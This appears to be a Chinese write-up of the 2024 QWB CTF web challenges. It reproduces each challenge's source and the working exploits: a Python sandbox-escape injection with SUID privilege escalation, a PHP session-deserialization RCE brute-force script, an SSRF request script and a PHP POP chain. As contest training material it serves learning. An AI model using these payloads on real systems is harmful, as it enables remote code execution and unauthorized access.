2024强网杯web题解
PyBlockly
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json
app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False
blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
def module_exists(module_name):
spec = importlib.util.find_spec(module_name)
if spec is None:
return False
if module_name in sys.builtin_module_names:
return True
if spec.origin:
std_lib_path = os.path.dirname(os.__file__)
if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False
def verify_secure(m):
for node in ast.walk(m):
match type(node):
case ast.Import:
print("ERROR: Banned module ")
return False
case ast.ImportFrom:
print(f"ERROR: Banned module {node.module}")
return False
return True
def check_for_blacklisted_symbols(input_text):
if re.search(blacklist_pattern, input_text):
return True
else:
return False
def block_to_python(block):
block_type = block['type']
code = ''
if block_type == 'print':
text_block = block['inputs']['TEXT']['block']
text = block_to_python(text_block)
code = f"print({text})"
elif block_type == 'math_number':
if str(block['fields']['NUM']).isdigit():
code = int(block['fields']['NUM'])
else:
code = ''
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
elif block_type == 'max':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"max({a}, {b})"
elif block_type == 'min':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"min({a}, {b})"
if 'next' in block:
block = block['next']['block']
code +="\n" + block_to_python(block)+ "\n"
else:
return code
return code
def json_to_python(blockly_data):
block = blockly_data['blocks']['blocks'][0]
python_code = ""
python_code += block_to_python(block) + "\n"
return python_code
def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
'''
print(source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
os.remove('run.py')
return "Timeout!"
@app.route('/')
def index():
return app.send_static_file('index.html')
@app.route('/blockly_json', methods=['POST'])
def blockly_json():
blockly_data = request.get_data()
print(type(blockly_data))
blockly_data = json.loads(blockly_data.decode('utf-8'))
print(blockly_data)
try:
python_code = json_to_python(blockly_data)
return do(python_code)
except Exception as e:
return jsonify({"error": "Error generating Python code", "details": str(e)})
if __name__ == '__main__':
app.run(host = '0.0.0.0')
# ‘;__import__(”builtins”)。len=lambda a:2;’‘;__import__(”os”)。system(”$(); ”);’
有一个符号过滤一个钩子
用全角符号绕过钩子隔断一下即可
最后发现flag没有权限
可以进行suid提权
find / -perm -u=s -type f 2>/dev/null
直接dd if=/flag
‘;__import__(”builtins”)。len=lambda a:1;’‘;__import__(”os”)。system(”$(printf ‘\144\144\40\151\146\75\57\146\154\141\147’); ”);’
platform
index.php
<?php
session_start();
require 'user.php';
require 'class.php';
$sessionManager = new SessionManager();
$SessionRandom = new SessionRandom();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
$_SESSION['user'] = $username;
if (!isset($_SESSION['session_key'])) {
$_SESSION['session_key'] =$SessionRandom -> generateRandomString();
}
$_SESSION['password'] = $password;
$result = $sessionManager->filterSensitiveFunctions();
header('Location: dashboard.php');
exit();
} else {
require 'login.php';
}
echo session_save_path();
class.php
<?php
class notouchitsclass {
public $data;
public function __construct($data) {
$this->data = $data;
}
public function __destruct() {
eval($this->data);
}
}
class SessionRandom {
public function generateRandomString() {
$length = rand(1, 50);
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
}
class SessionManager {
private $sessionPath;
private $sessionId;
private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];
public function __construct() {
if (session_status() == PHP_SESSION_NONE) {
throw new Exception("Session has not been started. Please start a session before using this class.");
}
$this->sessionPath = session_save_path();
$this->sessionId = session_id();
}
private function getSessionFilePath() {
return $this->sessionPath . "/sess_" . $this->sessionId;
}
public function filterSensitiveFunctions() {
$sessionFile = $this->getSessionFilePath();
if (file_exists($sessionFile)) {
$sessionData = file_get_contents($sessionFile);
foreach ($this->sensitiveFunctions as $function) {
if (strpos($sessionData, $function) !== false) {
$sessionData = str_replace($function, '', $sessionData);
}
}
file_put_contents($sessionFile, $sessionData);
return "Sensitive functions have been filtered from the session file.";
} else {
return "Session file not found.";
}
}
}
dashboard.php
<?php
include("class.php");
session_start();
if (!isset($_SESSION['user'])) {
header('Location: login.php');
exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>任何人都可以登录的平台</title>
<style>
body {
background-color: #f0f4f8;
font-family: Arial, sans-serif;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 100vh;
margin: 0;
text-align: center;
}
h1 {
color: #333;
margin-bottom: 20px;
}
p {
color: #555;
font-size: 18px;
margin: 0;
}
.session-info {
background-color: #fff;
border-radius: 10px;
box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
padding: 20px;
width: 300px;
margin-top: 20px;
}
</style>
</head>
<body>
<h1>欢迎来到任何人都可以登录的平台</h1>
<div class="session-info">
<p>你好,<?php echo htmlspecialchars($_SESSION['user']); ?>!</p>
</div>
</body>
</html>
是一个session反序列化
把一些特定的函数替换为空我们可以利用这一点进行反序列化逃逸
我们在本地尝试
我们eval会被替换为空然后吃掉红框之中的内容后面是我们伪造的我们需要的password
但是红框之中的内容长度是随机的我们可以写脚本爆破(当然也可以用bp爆破)
from time import sleep
import requests
session = requests.Session()
url1 = 'http://eci-2ze51q7dfugzvlb7vere.cloudeci1.ichunqiu.com/'
url2 = 'http://eci-2ze51q7dfugzvlb7vere.cloudeci1.ichunqiu.com/dashboard.php'
cookies = {
'PHPSESSID': 'b6hemaadv990atohld4equu327'
}
data = {
'username': 'evalevalevalevalevalevalevalevalevalevalevalevalevalevaleval',
'password': ';password|O:15:"notouchitsclass":1:{s:4:"data";s:23:"echo `ls /;./readflag`;";};'
}
while True:
res = session.post(url=url1, cookies=cookies, data=data)
res2 = session.post(url=url2, cookies=cookies)
if "root" in res2.text:
print(res2.text)
exit()
xiaohuanxiong
直接递归扫描
/index.php/admin/Authors/index
进入目录后直接改管理员账号密码即可
然后去后台登陆直接在支付页面写命令即可
Proxy
package main
import (
"bytes"
"io"
"net/http"
"os/exec"
"github.com/gin-gonic/gin"
)
type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}
func main() {
r := gin.Default()
v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}
v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}
if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}
return nil
},
}
req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.Status(resp.StatusCode)
for key, value := range resp.Header {
c.Header(key, value[0])
}
c.Writer.Write(body)
c.Abort()
})
}
r.Run("127.0.0.1:8769")
}
就是一个简单的代理发包
import requests
import json
# 代理的URL
proxy_url = "http://59.110.156.237:36897/v2/api/proxy"
# v1的URL
v1_url = "http://59.110.156.237:36897/v1/api/flag"
# 构建请求数据
data = {
"url": v1_url,
"method": "POST",
"body": "",
"headers": {},
"follow_redirects": False
}
# 发送请求
response = requests.post(proxy_url, data=json.dumps(data), headers={"Content-Type": "application/json"})
# 打印响应内容
if response.status_code == 200:
print("成功获取 flag:")
print(response.json())
else:
print(f"获取 flag 失败. 状态码: {response.status_code}")
print("响应内容:", response.text)
Password Game
一个php反序列化
只让玩三秒但是我们可以抓包
过了之后给我们源码
function filter($password) {
$filter_arr = array("admin", "2024qwb");
$filter = '/' . implode("|", $filter_arr) . '/i';
return preg_replace($filter, "nonono", $password);
}
class guest {
public $username;
public $value;
public function __toString() {
if ($this->username == "guest") {
$value();
}
return $this->username;
}
public function __call($key, $value) {
if ($this->username == md5($GLOBALS["flag"])) {
echo $GLOBALS["flag"];
}
}
}
class root {
public $username;
public $value;
public function __get($key) {
if (strpos($this->username, "admin") === 0 && $this->value == "2024qwb") {
$this->value = $GLOBALS["flag"];
echo md5("hello:" . $this->value);
}
}
}
class user {
public $username;
public $password;
public $value;
public function __invoke() {
$this->username = md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct() {
if (strpos($this->username, "admin") === 0) {
echo "hello" . $this->username;
}
}
}
// 反序列化并过滤用户输入的密码
$user = unserialize(filter($_POST["password"]));
// 检查用户名和密码
if (strpos($user->username, "admin") === 0 && $user->password == "2024qwb") {
echo "hello!";
}
构造pop链
<?php
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class root{
public $username;
public $ic;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
// if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
// echo "hello!";
// }
$a = new root();
$a->username = "a";
$a->value = 2024;
$a->ic = new user();
$a->ic ->username = &$a->value;
$a->ic ->password = "dD943680";
echo serialize($a);
接着改一下pop链中的无关内容使其符合游戏条件即可